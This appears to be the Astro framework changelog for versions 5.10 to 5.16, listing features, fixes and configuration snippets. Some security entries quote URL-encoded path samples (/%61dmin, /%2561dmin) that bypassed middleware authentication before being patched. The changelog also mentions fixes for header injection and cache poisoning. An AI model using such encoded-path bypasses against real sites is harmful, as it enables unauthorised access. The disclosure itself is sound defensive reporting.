  • #​14929 e0f277d Thanks @​matthewp! - Fixes authentication bypass via double URL encoding in middleware

    Prevents attackers from bypassing path-based authentication checks using multi-level URL encoding (e.g., /%2561dmin instead of /%61dmin). Pathnames are now validated after decoding to ensure no additional encoding remains.

v5.16.2

Compare Source

Patch Changes

v5.16.1

Compare Source

Patch Changes

v5.16.0

Compare Source

Minor Changes
  • #​13880 1a2ed01 Thanks @​azat-io! - Adds experimental SVGO optimization support for SVG assets

    Astro now supports automatic SVG optimization using SVGO during build time. This experimental feature helps reduce SVG file sizes while maintaining visual quality, improving your site's performance.

    To enable SVG optimization with default settings, add the following to your astro.config.mjs:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        svgo: true,
      },
    });
    

    To customize optimization, pass a SVGO configuration object:

    export default defineConfig({
      experimental: {
        svgo: {
          plugins: [
            'preset-default',
            {
              name: 'removeViewBox',
              active: false,
            },
          ],
        },
      },
    });
    

    For more information on enabling and using this feature in your project, see the experimental SVG optimization docs.

  • #​14810 2e845fe Thanks @​ascorbic! - Adds a hint for code agents to use the --yes flag to skip prompts when running astro add

  • #​14698 f42ff9b Thanks @​mauriciabad! - Adds the ActionInputSchema utility type to automatically infer the TypeScript type of an action's input based on its Zod schema

    For example, this type can be used to retrieve the input type of a form action:

    import { type ActionInputSchema, defineAction } from 'astro:actions';
    import { z } from 'astro/zod';
    
    const action = defineAction({
      accept: 'form',
      input: z.object({ name: z.string() }),
      handler: ({ name }) => ({ message: `Welcome, ${name}!` }),
    });
    
    type Schema = ActionInputSchema<typeof action>;
    // typeof z.object({ name: z.string() })
    
    type Input = z.input<Schema>;
    // { name: string }
    
  • #​14574 4356485 Thanks @​jacobdalamb! - Adds new CLI shortcuts available when running astro preview:

    • o + enter: open the site in your browser
    • q + enter: quit the preview
    • h + enter: print all available shortcuts
Patch Changes
  • #​14813 e1dd377 Thanks @​ematipico! - Removes picocolors as dependency in favor of the fork piccolore.

  • #​14609 d774306 Thanks @​florian-lefebvre! - Improves astro info

  • #​14796 c29a785 Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Updates the default subsets to ["latin"]

    Subsets have been a common source of confusion: they caused a lot of files to be downloaded by default. You now have to manually pick extra subsets.

    Review your Astro config and update subsets if you need, for example if you need greek characters:

    import { defineConfig, fontProviders } from "astro/config"
    
    export default defineConfig({
        experimental: {
            fonts: [{
                name: "Roboto",
                cssVariable: "--font-roboto",
                provider: fontProviders.google(),
    +            subsets: ["latin", "greek"]
            }]
        }
    })
    

v5.15.9

Compare Source

Patch Changes
  • #​14786 758a891 Thanks @​mef! - Add handling of invalid encrypted props and slots in server islands.

  • #​14783 504958f Thanks @​florian-lefebvre! - Improves the experimental Fonts API build log to show the number of downloaded files. This can help spotting excessive downloading because of misconfiguration

  • #​14791 9e9c528 Thanks @​Princesseuh! - Changes the remote protocol checks for images to require explicit authorization in order to use data URIs.

    In order to allow data URIs for remote images, you will need to update your astro.config.mjs file to include the following configuration:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      images: {
        remotePatterns: [
          {
            protocol: 'data',
          },
        ],
      },
    });
    
  • #​14787 0f75f6b Thanks @​matthewp! - Fixes wildcard hostname pattern matching to correctly reject hostnames without dots

    Previously, hostnames like localhost or other single-part names would incorrectly match patterns like *.example.com. The wildcard matching logic has been corrected to ensure that only valid subdomains matching the pattern are accepted.

  • #​14776 3537876 Thanks @​ktym4a! - Fixes the behavior of passthroughImageService so it does not generate webp.

  • Updated dependencies [9e9c528, 0f75f6b]:

v5.15.8

Compare Source

Patch Changes
  • #​14772 00c579a Thanks @​matthewp! - Improves the security of Server Islands slots by encrypting them before transmission to the browser, matching the security model used for props. This improves the integrity of slot content and prevents injection attacks, even when component templates don't explicitly support slots.

    Slots continue to work as expected for normal usage—this change has no breaking changes for legitimate requests.

  • #​14771 6f80081 Thanks @​matthewp! - Fix middleware pathname matching by normalizing URL-encoded paths

    Middleware now receives normalized pathname values, ensuring that encoded paths like /%61dmin are properly decoded to /admin before middleware checks. This prevents potential security issues where middleware checks might be bypassed through URL encoding.

v5.15.7

Compare Source

Patch Changes

v5.15.6

Compare Source

Patch Changes
  • #​14751 18c55e1 Thanks @​delucis! - Fixes hydration of client components when running the dev server and using a barrel file that re-exports both Astro and UI framework components.

  • #​14750 35122c2 Thanks @​florian-lefebvre! - Updates the experimental Fonts API to log a warning if families with a conflicting cssVariable are provided

  • #​14737 74c8852 Thanks @​Arecsu! - Fixes an error when using transition:persist with components that use declarative Shadow DOM. Astro now avoids re-attaching a shadow root if one already exists, preventing "Unable to re-attach to existing ShadowDOM" navigation errors.

  • #​14750 35122c2 Thanks @​florian-lefebvre! - Updates the experimental Fonts API to allow for more granular configuration of remote font families

    A font family is defined by a combination of properties such as weights and styles (e.g. weights: [500, 600] and styles: ["normal", "bold"]), but you may want to download only certain combinations of these.

    For greater control over which font files are downloaded, you can specify the same font (ie. with the same cssVariable, name, and provider properties) multiple times with different combinations. Astro will merge the results and download only the required files. For example, it is possible to download normal 500 and 600 while downloading only italic 500:

    // astro.config.mjs
    import { defineConfig, fontProviders } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        fonts: [
          {
            name: 'Roboto',
            cssVariable: '--roboto',
            provider: fontProviders.google(),
            weights: [500, 600],
            styles: ['normal'],
          },
          {
            name: 'Roboto',
            cssVariable: '--roboto',
            provider: fontProviders.google(),
            weights: [500],
            styles: ['italic'],
          },
        ],
      },
    });
    

v5.15.5

Compare Source

Patch Changes
  • #​14712 91780cf Thanks @​florian-lefebvre! - Fixes a case where build's process.env would be inlined in the server output

  • #​14713 666d5a7 Thanks @​florian-lefebvre! - Improves fallbacks generation when using the experimental Fonts API

  • #​14743 dafbb1b Thanks @​matthewp! - Improves X-Forwarded header validation to prevent cache poisoning and header injection attacks. Now properly validates X-Forwarded-Proto, X-Forwarded-Host, and X-Forwarded-Port headers against configured allowedDomains patterns, rejecting malformed or suspicious values. This is especially important when running behind a reverse proxy or load balancer.

v5.15.4

Compare Source

Patch Changes
  • #​14703 970ac0f Thanks @​ArmandPhilippot! - Adds missing documentation for some public utilities exported from astro:i18n.

  • #​14715 3d55c5d Thanks @​ascorbic! - Adds support for client hydration in getContainerRenderer()

    The getContainerRenderer() function is exported by Astro framework integrations to simplify the process of rendering framework components when using the experimental Container API inside a Vite or Vitest environment. This update adds the client hydration entrypoint to the returned object, enabling client-side interactivity for components rendered using this function. Previously this required users to manually call container.addClientRenderer() with the appropriate client renderer entrypoint.

    See the container-with-vitest demo for a usage example, and the Container API documentation for more information on using framework components with the experimental Container API.

  • #​14711 a4d284d Thanks @​deining! - Fixes typos in documenting our error messages and public APIs.

  • #​14701 9be54c7 Thanks @​florian-lefebvre! - Fixes a case where the experimental Fonts API would filter available font files too aggressively, which could prevent the download of woff files when using the google provider

v5.15.3

Compare Source

Patch Changes
  • #​14627 b368de0 Thanks @​matthewp! - Fixes skew protection support for images and font URLs

    Adapter-level query parameters (assetQueryParams) are now applied to all image and font asset URLs, including:

    • Dynamic optimized images via /_image endpoint
    • Static optimized image files
    • Font preload tags and font requests when using the experimental Fonts API
  • #​14631 3ad33f9 Thanks @​KurtGokhan! - Adds the astro/jsx-dev-runtime export as an alias for astro/jsx-runtime

v5.15.2

Compare Source

Patch Changes
  • #​14623 c5fe295 Thanks @​delucis! - Fixes a leak of server runtime code when importing SVGs in client-side code. Previously, when importing an SVG file in client code, Astro could end up adding code for rendering SVGs on the server to the client bundle.

  • #​14621 e3175d9 Thanks @​GameRoMan! - Updates vite version to fix CVE

v5.15.1

Compare Source

Patch Changes

v5.15.0

Compare Source

Minor Changes
  • #​14543 9b3241d Thanks @​matthewp! - Adds two new adapter configuration options assetQueryParams and internalFetchHeaders to the Adapter API.

    Official and community-built adapters can now use client.assetQueryParams to specify query parameters that should be appended to asset URLs (CSS, JavaScript, images, fonts, etc.). The query parameters are automatically appended to all generated asset URLs during the build process.

    Adapters can also use client.internalFetchHeaders to specify headers that should be included in Astro's internal fetch calls (Actions, View Transitions, Server Islands, Prefetch).

    This enables features like Netlify's skew protection, which requires the deploy ID to be sent with both internal requests and asset URLs to ensure client and server versions match during deployments.

  • #​14489 add4277 Thanks @​dev-shetty! - Adds a new Copy to Clipboard button to the error overlay stack trace.

    When an error occurs in dev mode, you can now copy the stack trace with a single click to more easily share it in a bug report, a support thread, or with your favorite LLM.

  • #​14564 5e7cebb Thanks @​florian-lefebvre! - Updates astro add cloudflare to scaffold more configuration files

    Running astro add cloudflare will now emit wrangler.jsonc and public/.assetsignore, allowing your Astro project to work out of the box as a worker.

Patch Changes
  • #​14591 3e887ec Thanks @​matthewp! - Adds TypeScript support for the components prop on MDX Content component when using await render(). Developers now get proper IntelliSense and type checking when passing custom components to override default MDX element rendering.

  • #​14598 7b45c65 Thanks @​delucis! - Reduces terminal text styling dependency size by switching from kleur to picocolors

  • #​13826 8079482 Thanks @​florian-lefebvre! - Adds the option to specify in the preload directive which weights, styles, or subsets to preload for a given font family when using the experimental Fonts API:

    ---
    import { Font } from 'astro:assets';
    ---
    
    <Font
      cssVariable="--font-roboto"
      preload={[{ subset: 'latin', style: 'normal' }, { weight: '400' }]}
    />
    

    Variable weight font files will be preloaded if any weight within its range is requested. For example, a font file for font weight 100 900 will be included when 400 is specified in a preload object.

v5.14.8

Compare Source

Patch Changes
  • #​14590 577d051 Thanks @​matthewp! - Fixes image path resolution in content layer collections to support bare filenames. The image() helper now normalizes bare filenames like "cover.jpg" to relative paths "./cover.jpg" for consistent resolution behavior between markdown frontmatter and JSON content collections.

v5.14.7

Compare Source

Patch Changes
  • #​14582 7958c6b Thanks @​florian-lefebvre! - Fixes a regression that caused Actions to throw errors while loading

  • #​14567 94500bb Thanks @​matthewp! - Fixes the actions endpoint to return 404 for nonexistent actions instead of throwing an unhandled error

  • #​14566 946fe68 Thanks @​matthewp! - Fixes handling malformed cookies gracefully by returning the unparsed value instead of throwing

    When a cookie with an invalid value is present (e.g., containing invalid URI sequences), Astro.cookies.get() now returns the raw cookie value instead of throwing a URIError. This aligns with the behavior of the underlying cookie package and prevents crashes when manually-set or corrupted cookies are encountered.

  • #​14142 73c5de9 Thanks @​P4tt4te! - Updates handling of CSS for hydrated client components to prevent duplicates

  • #​14576 2af62c6 Thanks @​aprici7y! - Fixes a regression that caused Astro.site to always be undefined in getStaticPaths()

v5.14.6

Compare Source

Patch Changes
⚠️ Breaking change for experimental live content collections only

Feedback showed that this did not make sense to set at the loader level, since the loader does not know how long each individual entry should be cached for.

If your live loader returns cache hints with maxAge, you need to remove this property:

return {
  entries: [...],
  cacheHint: {
    tags: ['my-tag'],
-   maxAge: 60,
    lastModified: new Date(),
  },
};

The cacheHint object now only supports tags and lastModified properties. If you want to set the max age for a page, you can set the headers manually:

---
Astro.headers.set('cdn-cache-control', 'max-age=3600');
---
  • #​14548 6cdade4 Thanks @​ascorbic! - Adds missing rendered property to experimental live collections entry type

    Live collections support a rendered property that allows you to provide pre-rendered HTML for each entry. While this property was documented and implemented, it was missing from the TypeScript types. This could lead to type errors when trying to use it in a TypeScript project.

    No changes to your project code are necessary. You can continue to use the rendered property as before, and it will no longer produce TypeScript errors.

v5.14.5

Compare Source

Patch Changes
  • #​14525 4f55781 Thanks @​penx! - Fixes defineLiveCollection() types

  • #​14441 62ec8ea Thanks @​upsuper! - Updates redirect handling to be consistent across static and server output, aligning with the behavior of other adapters.

    Previously, the Node.js adapter used default HTML files with meta refresh tags when in static output. This often resulted in an extra flash of the page on redirect, while also not applying the proper status code for redirections. It's also likely less friendly to search engines.

    This update ensures that configured redirects are always handled as HTTP redirects regardless of output mode, and the default HTML files for the redirects are no longer generated in static output. It makes the Node.js adapter more consistent with the other official adapters.

    No change to your project is required to take advantage of this new adapter functionality. It is not expected to cause any breaking changes. However, if you relied on the previous redirecting behavior, you may need to handle your redirects differently now. Otherwise, you should notice smoother redirects, with more accurate HTTP status codes, and may potentially see some SEO gains.

  • #​14506 ec3cbe1 Thanks @​abdo-spices! - Updates the <Font /> component so that preload links are generated after the style tag, as recommended by capo.js

v5.14.4

Compare Source

Patch Changes

v5.14.3

Compare Source

Patch Changes
  • #​14505 28b2a1d Thanks @​matthewp! - Fixes Cannot set property manifest error in test utilities by adding a protected setter for the manifest property

  • #​14235 c4d84bb Thanks @​toxeeec! - Fixes a bug where the "tap" prefetch strategy worked only on the first clicked link with view transitions enabled

v5.14.1

Compare Source

Patch Changes

v5.14.0

Compare Source

Minor Changes
  • #​13520 a31edb8 Thanks @​openscript! - Adds a new property routePattern available to GetStaticPathsOptions

    This provides the original, dynamic segment definition in a routing file path (e.g. /[...locale]/[files]/[slug]) from the Astro render context that would not otherwise be available within the scope of getStaticPaths(). This can be useful to calculate the params and props for each page route.

    For example, you can now localize your route segments and return an array of static paths by passing routePattern to a custom getLocalizedData() helper function. The params object will be set with explicit values for each route segment (e.g. locale, files, and slug). Then, these values will be used to generate the routes and can be used in your page template via Astro.params.

    ---
    // src/pages/[...locale]/[files]/[slug].astro
    import { getLocalizedData } from '../../../utils/i18n';
    
    export async function getStaticPaths({ routePattern }) {
      const response = await fetch('...');
      const data = await response.json();
    
      console.log(routePattern); // [...locale]/[files]/[slug]
    
      // Call your custom helper with `routePattern` to generate the static paths
      return data.flatMap((file) => getLocalizedData(file, routePattern));
    }
    
    const { locale, files, slug } = Astro.params;
    ---
    

    For more information about this advanced routing pattern, see Astro's routing reference.

  • #​13651 dcfbd8c Thanks @​ADTC! - Adds a new SvgComponent type

    You can now more easily enforce type safety for your .svg assets by directly importing SVGComponent from astro/types:

    ---
    // src/components/Logo.astro
    import type { SvgComponent } from 'astro/types';
    import HomeIcon from './Home.svg';
    interface Link {
      url: string;
      text: string;
      icon: SvgComponent;
    }
    const links: Link[] = [
      {
        url: '/',
        text: 'Home',
        icon: HomeIcon,
      },
    ];
    ---
    
  • #​14206 16a23e2 Thanks @​Fryuni! - Warn on prerendered routes collision.

    Previously, when two dynamic routes /[foo] and /[bar] returned values on their getStaticPaths that resulted in the same final path, only one of the routes would be rendered while the other would be silently ignored. Now, when this happens, a warning will be displayed explaining which routes collided and on which path.

    Additionally, a new experimental flag failOnPrerenderConflict can be used to fail the build when such a collision occurs.

Patch Changes
  • #​13811 69572c0 Thanks @​florian-lefebvre! - Adds a new getFontData() method to retrieve lower-level font family data programmatically when using the experimental Fonts API

    The getFontData() helper function from astro:assets provides access to font family data for use outside of Astro. This can then be used in an API Route or to generate your own meta tags.

    import { getFontData } from 'astro:assets';
    
    const data = getFontData('--font-roboto');
    

    For example, getFontData() can get the font buffer from the URL when using satori to generate Open Graph images:

    // src/pages/og.png.ts
    
    import type { APIRoute } from 'astro';
    import { getFontData } from 'astro:assets';
    import satori from 'satori';
    
    export const GET: APIRoute = (context) => {
      const data = getFontData('--font-roboto');
    
      const svg = await satori(<div style={{ color: 'black' }}>hello, world</div>, {
        width: 600,
        height: 400,
        fonts: [
          {
            name: 'Roboto',
            data: await fetch(new URL(data[0].src[0].url, context.url.origin)).then((res) =>
              res.arrayBuffer(),
            ),
            weight: 400,
            style: 'normal',
          },
        ],
      });
    
      // ...
    };
    

    See the experimental Fonts API documentation for more information.

v5.13.11

Compare Source

Patch Changes
  • #​14409 250a595 Thanks @​louisescher! - Fixes an issue where astro info would log errors to console in certain cases.

  • #​14398 a7df80d Thanks @​idawnlight! - Fixes an unsatisfiable type definition when calling addServerRenderer on an experimental container instance

  • #​13747 120866f Thanks @​jp-knj! - Adds automatic request signal abortion when the underlying socket closes in the Node.js adapter

    The Node.js adapter now automatically aborts the request.signal when the client connection is terminated. This enables better resource management and allows applications to properly handle client disconnections through the standard AbortSignal API.

  • #​14428 32a8acb Thanks @​drfuzzyness! - Force sharpService to return a Uint8Array if Sharp returns a SharedArrayBuffer

  • #​14411 a601186 Thanks @​GameRoMan! - Fixes relative links to docs that could not be opened in the editor.

v5.13.10

Compare Source

Patch Changes

v5.13.9

Compare Source

Patch Changes

v5.13.8

Compare Source

Patch Changes
  • #​14300 bd4a70b Thanks @​louisescher! - Adds Vite version & integration versions to output of astro info

  • #​14341 f75fd99 Thanks @​delucis! - Fixes support for declarative Shadow DOM when using the <ClientRouter> component

  • #​14350 f59581f Thanks @​ascorbic! - Improves error reporting for content collections by adding logging for configuration errors that had previously been silently ignored. Also adds a new error that is thrown if a live collection is used in content.config.ts rather than live.config.ts.

  • #​14343 13f7d36 Thanks @​florian-lefebvre! - Fixes a regression in non node runtimes

v5.13.7

Compare Source

Patch Changes

v5.13.6

Compare Source

Patch Changes

v5.13.5

Compare Source

Patch Changes
  • #​14286 09c5db3 Thanks @​ematipico! - BREAKING CHANGES only to the experimental CSP feature

    The following runtime APIs of the Astro global have been renamed:

    • Astro.insertDirective to Astro.csp.insertDirective
    • Astro.insertStyleResource to Astro.csp.insertStyleResource
    • Astro.insertStyleHash to Astro.csp.insertStyleHash
    • Astro.insertScriptResource to Astro.csp.insertScriptResource
    • Astro.insertScriptHash to Astro.csp.insertScriptHash

    The following runtime APIs of the APIContext have been renamed:

    • ctx.insertDirective to ctx.csp.insertDirective
    • ctx.insertStyleResource to ctx.csp.insertStyleResource
    • ctx.insertStyleHash to ctx.csp.insertStyleHash
    • ctx.insertScriptResource to ctx.csp.insertScriptResource
    • ctx.insertScriptHash to ctx.csp.insertScriptHash
  • #​14283 3224637 Thanks @​ematipico! - Fixes an issue where CSP headers were incorrectly injected in the development server.

  • #​14275 3e2f20d Thanks @​florian-lefebvre! - Adds support for experimental CSP when using experimental fonts

    Experimental fonts now integrate well with experimental CSP by injecting hashes for the styles it generates, as well as font-src directives.

    No action is required to benefit from it.

  • #​14280 4b9fb73 Thanks @​ascorbic! - Fixes a bug that caused cookies to not be correctly set when using middleware sequences

  • #​14276 77281c4 Thanks @​ArmandPhilippot! - Adds a missing export for resolveSrc, a documented image services utility.

v5.13.4

Compare Source

Patch Changes
  • #​14260 86a1e40 Thanks @​jp-knj! - Fixes Astro.url.pathname to respect trailingSlash: 'never' configuration when using a base path. Previously, the root path with a base would incorrectly return /base/ instead of /base when trailingSlash was set to 'never'.

  • #​14248 e81c4bd Thanks @​julesyoungberg! - Fixes a bug where actions named 'apply' do not work due to being a function prototype method.

v5.13.3

Compare Source

Patch Changes
  • #​14239 d7d93e1 Thanks @​wtchnm! - Fixes a bug where the types for the live content collections were not being generated correctly in dev mode

  • #​14221 eadc9dd Thanks @​delucis! - Fixes JSON schema support for content collections using the file() loader

  • #​14229 1a9107a Thanks @​jonmichaeldarby! - Ensures Astro.currentLocale returns the correct locale during SSG for pages that use a locale param (such as [locale].astro or [locale]/index.astro, which produce [locale].html)

v5.13.2

Compare Source

Patch Changes

v5.13.1

Compare Source

Patch Changes
  • #​14409 250a595 Thanks @​louisescher! - Fixes an issue where astro info would log errors to console in certain cases.

  • #​14398 a7df80d Thanks @​idawnlight! - Fixes an unsatisfiable type definition when calling addServerRenderer on an experimental container instance

  • #​13747 120866f Thanks @​jp-knj! - Adds automatic request signal abortion when the underlying socket closes in the Node.js adapter

    The Node.js adapter now automatically aborts the request.signal when the client connection is terminated. This enables better resource management and allows applications to properly handle client disconnections through the standard AbortSignal API.

  • #​14428 32a8acb Thanks @​drfuzzyness! - Force sharpService to return a Uint8Array if Sharp returns a SharedArrayBuffer

  • #​14411 a601186 Thanks @​GameRoMan! - Fixes relative links to docs that could not be opened in the editor.

v5.13.0

Compare Source

Minor Changes
  • #​14173 39911b8 Thanks @​florian-lefebvre! - Adds an experimental flag staticImportMetaEnv to disable the replacement of import.meta.env values with process.env calls and their coercion of environment variable values. This supersedes the rawEnvValues experimental flag, which is now removed.

    Astro allows you to configure a type-safe schema for your environment variables, and converts variables imported via astro:env into the expected type. This is the recommended way to use environment variables in Astro, as it allows you to easily see and manage whether your variables are public or secret, available on the client or only on the server at build time, and the data type of your values.

    However, you can still access environment variables through process.env and import.meta.env directly when needed. This was the only way to use environment variables in Astro before astro:env was added in Astro 5.0, and Astro's default handling of import.meta.env includes some logic that was only needed for earlier versions of Astro.

    The experimental.staticImportMetaEnv flag updates the behavior of import.meta.env to align with Vite's handling of environment variables and for better ease of use with Astro's current implementations and features. This will become the default behavior in Astro 6.0, and this early preview is introduced as an experimental feature.

    Currently, non-public import.meta.env environment variables are replaced by a reference to process.env. Additionally, Astro may also convert the value type of your environment variables used through import.meta.env, which can prevent access to some values such as the strings "true" (which is converted to a boolean value), and "1" (which is converted to a number).

    The experimental.staticImportMetaEnv flag simplifies Astro's default behavior, making it easier to understand and use. Astro will no longer replace any import.meta.env environment variables with a process.env call, nor will it coerce values.

    To enable this feature, add the experimental flag in your Astro config and remove rawEnvValues if it was enabled:

    // astro.config.mjs
    import { defineConfig } from "astro/config";
    
    export default defineConfig({
    +  experimental: {
    +    staticImportMetaEnv: true
    -    rawEnvValues: false
    +  }
    });
    
Updating your project

If you were relying on Astro's default coercion, you may need to update your project code to apply it manually:

// src/components/MyComponent.astro
- const enabled: boolean = import.meta.env.ENABLED;
+ const enabled: boolean = import.meta.env.ENABLED === "true";

If you were relying on the transformation into process.env calls, you may need to update your project code to apply it manually:

// src/components/MyComponent.astro
- const enabled: boolean = import.meta.env.DB_PASSWORD;
+ const enabled: boolean = process.env.DB_PASSWORD;

You may also need to update types:

// src/env.d.ts
interface ImportMetaEnv {
  readonly PUBLIC_POKEAPI: string;
-  readonly DB_PASSWORD: string;
-  readonly ENABLED: boolean;
+  readonly ENABLED: string;
}

interface ImportMeta {
  readonly env: ImportMetaEnv;
}

+ namespace NodeJS {
+  interface ProcessEnv {
+    DB_PASSWORD: string;
+  }
+ }

See the experimental static import.meta.env documentation for more information about this feature. You can learn more about using environment variables in Astro, including astro:env, in the environment variables documentation.

  • #​14122 41ed3ac Thanks @​ascorbic! - Adds experimental support for automatic Chrome DevTools workspace folders

    This feature allows you to edit files directly in the browser and have those changes reflected in your local file system via a connected workspace folder. This allows you to apply edits such as CSS tweaks without leaving your browser tab!

    With this feature enabled, the Astro dev server will automatically configure a Chrome DevTools workspace for your project. Your project will then appear as a workspace source, ready to connect. Then, changes that you make in the "Sources" panel are automatically saved to your project source code.

    To enable this feature, add the experimental flag chromeDevtoolsWorkspace to your Astro config:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        chromeDevtoolsWorkspace: true,
      },
    });
    

    See the experimental Chrome DevTools workspace feature documentation for more information.

v5.12.9

Compare Source

Patch Changes
  • #​14020 9518975 Thanks @​jp-knj and @​asieradzk! - Prevent double-prefixed redirect paths when using fallback and redirectToDefaultLocale together

    Fixes an issue where i18n fallback routes would generate double-prefixed paths (e.g., /es/es/test/item1/) when fallback and redirectToDefaultLocale configurations were used together. The fix adds proper checks to prevent double prefixing in route generation.

  • #​14199 3e4cb8e Thanks @​ascorbic! - Fixes a bug that prevented HMR from working with inline styles

v5.12.8

Compare Source

Patch Changes

v5.12.7

Compare Source

Patch Changes

v5.12.6

Compare Source

Patch Changes

v5.12.5

Compare Source

Patch Changes
  • #​14059 19f53eb Thanks @​benosmac! - Fixes a bug in i18n implementation, where Astro didn't emit the correct pages when fallback is enabled, and a locale uses a catch-all route, e.g. src/pages/es/[...catchAll].astro

  • #​14155 31822c3 Thanks @​ascorbic! - Fixes a bug that caused an error "serverEntrypointModule[_start] is not a function" in some adapters

v5.12.4

Compare Source

Patch Changes

v5.12.3

Compare Source

Patch Changes
  • #​14119 14807a4 Thanks @​ascorbic! - Fixes a bug that caused builds to fail if a client directive was mistakenly added to an Astro component

  • #​14001 4b03d9c Thanks @​dnek! - Fixes an issue where getImage() assigned the resized base URL to the srcset URL of ImageTransform, which matched the width, height, and format of the original image.

v5.12.2

Compare Source

Patch Changes

v5.12.1

Compare Source

Patch Changes

v5.12.0

Compare Source

Minor Changes
  • #​13971 fe35ee2 Thanks @​adamhl8! - Adds an experimental flag rawEnvValues to disable coercion of import.meta.env values (e.g. converting strings to other data types) that are populated from process.env

    Astro allows you to configure a type-safe schema for your environment variables, and converts variables imported via astro:env into the expected type.

    However, Astro also converts your environment variables used through import.meta.env in some cases, and this can prevent access to some values such as the strings "true" (which is converted to a boolean value), and "1" (which is converted to a number).

    The experimental.rawEnvValues flag disables coercion of import.meta.env values that are populated from process.env, allowing you to use the raw value.

    To enable this feature, add the experimental flag in your Astro config:

    import { defineConfig } from "astro/config"
    
    export default defineConfig({
    +  experimental: {
    +    rawEnvValues: true,
    +  }
    })
    

    If you were relying on this coercion, you may need to update your project code to apply it manually:

    - const enabled: boolean = import.meta.env.ENABLED
    + const enabled: boolean = import.meta.env.ENABLED === "true"
    

    See the experimental raw environment variables reference docs for more information.

  • #​13941 6bd5f75 Thanks @​aditsachde! - Adds support for TOML files to Astro's built-in glob() and file() content loaders.

    In Astro 5.2, Astro added support for using TOML frontmatter in Markdown files instead of YAML. However, if you wanted to use TOML files as local content collection entries themselves, you needed to write your own loader.

    Astro 5.12 now directly supports loading data from TOML files in content collections in both the glob() and the file() loaders.

    If you had added your own TOML content parser for the file() loader, you can now remove it as this functionality is now included:

    // src/content.config.ts
    import { defineCollection } from "astro:content";
    import { file } from "astro/loaders";
    - import { parse as parseToml } from "toml";
    const dogs = defineCollection({
    -  loader: file("src/data/dogs.toml", { parser: (text) => parseToml(text) }),
    + loader: file("src/data/dogs.toml")
      schema: /* ... */
    })
    

    Note that TOML does not support top-level arrays. Instead, the file() loader considers each top-level table to be an independent entry. The table header is populated in the id field of the entry object.

    See Astro's content collections guide for more information on using the built-in content loaders.

Patch Changes

v5.11.2

Compare Source

Patch Changes

v5.11.1

Compare Source

Patch Changes
  • #​14045 3276b79 Thanks @​ghubo! - Fixes a problem where importing animated .avif files returns a NoImageMetadata error.

  • #​14041 0c4d5f8 Thanks @​dixslyf! - Fixes a <ClientRouter /> bug where the fallback view transition animations when exiting a page
    ran too early for browsers that do not support the View Transition API.
    This bug prevented event.viewTransition?.skipTransition() from skipping the page exit animation
    when used in an astro:before-swap event hook.

v5.11.0

Compare Source

Minor Changes
  • #​13972 db8f8be Thanks @​ematipico! - Updates the NodeApp.match() function in the Adapter API to accept a second, optional parameter to allow adapter authors to add headers to static, prerendered pages.

    NodeApp.match(request) currently checks whether there is a route that matches the given Request. If there is a prerendered route, the function returns undefined, because static routes are already rendered and their headers cannot be updated.

    When the new, optional boolean parameter is passed (e.g. NodeApp.match(request, true)), Astro will return the first matched route, even when it's a prerendered route. This allows your adapter to now access static routes and provides the opportunity to set headers for these pages, for example, to implement a Content Security Policy (CSP).

Patch Changes
  • #​14029 42562f9 Thanks @​ematipico! - Fixes a bug where server islands wouldn't be correctly rendered when they are rendered inside fragments.

    Now the following examples work as expected:

    ---
    import { Cart } from '../components/Cart.astro';
    ---
    
    <>
      <Cart server:defer />
    </>
    
    <Fragment slot="rest">
      <Cart server:defer>
        <div slot="fallback">Not working</div>
      </Cart>
    </Fragment>
    
  • #​14017 8d238bc Thanks @​dmgawel! - Fixes a bug where i18n fallback rewrites didn't work in dynamic pages.

v5.10.2

Compare Source

Patch Changes
  • #​14000 3cbedae Thanks @​feelixe! - Fix routePattern JSDoc examples to show correct return values

  • #​13990 de6cfd6 Thanks @​isVivek99! - Fixes a case where astro:config/client and astro:config/server virtual modules would not contain config passed to integrations updateConfig() during the build

  • #​14019 a160d1e Thanks @​ascorbic! - Removes the requirement to set type: 'live' when defining experimental live content collections

    Previously, live collections required a type and loader configured. Now, Astro can determine that your collection is a live collection without defining it explicitly.

    This means it is now safe to remove type: 'live' from your collections defined in src/live.config.ts:

    import { defineLiveCollection } from 'astro:content';
    import { storeLoader } from '@&#8203;mystore/astro-loader';
    
    const products = defineLiveCollection({
    -  type: 'live',
      loader: storeLoader({
        apiKey: process.env.STORE_API_KEY,
        endpoint: 'https://api.mystore.com/v1',
      }),
    });
    
    export const collections = { products };
    

    This is not a breaking change: your existing live collections will continue to work even if you still include type: 'live'. However, we suggest removing this line at your earliest convenience for future compatibility when the feature becomes stable and this config option may be removed entirely.

  • #​13966 598da21 Thanks @​msamoylov! - Fixes a broken link on the default 404 page in development

v5.10.1

Compare Source

Patch Changes
  • #​13988 609044c Thanks @​ascorbic! - Fixes a bug in live collections that caused it to incorrectly complain about the collection being defined in the wrong file

  • #​13909 b258d86 Thanks @​isVivek99! - Fixes rendering of special boolean attributes for custom elements

  • #​13983 e718375 Thanks @​florian-lefebvre! - Fixes a case where the toolbar audit would incorrectly flag images processed by Astro in content collections documents

  • #​13999 f077b68 Thanks @​ascorbic! - Adds lastModified field to experimental live collection cache hints

    Live loaders can now set a lastModified field in the cache hints for entries and collections to indicate when the data was last modified. This is then available in the cacheHint field returned by getCollection and getEntry.

  • #​13987 08f34b1 Thanks @​ematipico! - Adds an informative message in dev mode when the CSP feature is enabled.

  • #​14005 82aad62 Thanks @​ematipico! - Fixes a bug where inline styles and scripts didn't work when CSP was enabled. Now when adding <styles> elements inside an Astro component, their hashes care correctly computed.

  • #​13985 0b4c641 Thanks @​jsparkdev! - Updates wrong link

v5.10.0

Compare Source

Minor Changes
  • #​13917 e615216 Thanks @​ascorbic! - Adds a new priority attribute for Astro's image components.

    This change introduces a new priority option for the <Image /> and <Picture /> components, which automatically sets the loading, decoding, and fetchpriority attributes to their optimal values for above-the-fold images which should be loaded immediately.

    It is a boolean prop, and you can use the shorthand syntax by simply adding priority as a prop to the <Image /> or <Picture /> component. When set, it will apply the following attributes:

    • loading="eager"
    • decoding="sync"
    • fetchpriority="high"

    The individual attributes can still be set manually if you need to customize your images further.

    By default, the Astro <Image /> component generates <img> tags that lazy-load their content by setting loading="lazy" and decoding="async". This improves performance by deferring the loading of images that are not immediately visible in the viewport, and gives the best scores in performance audits like Lighthouse.

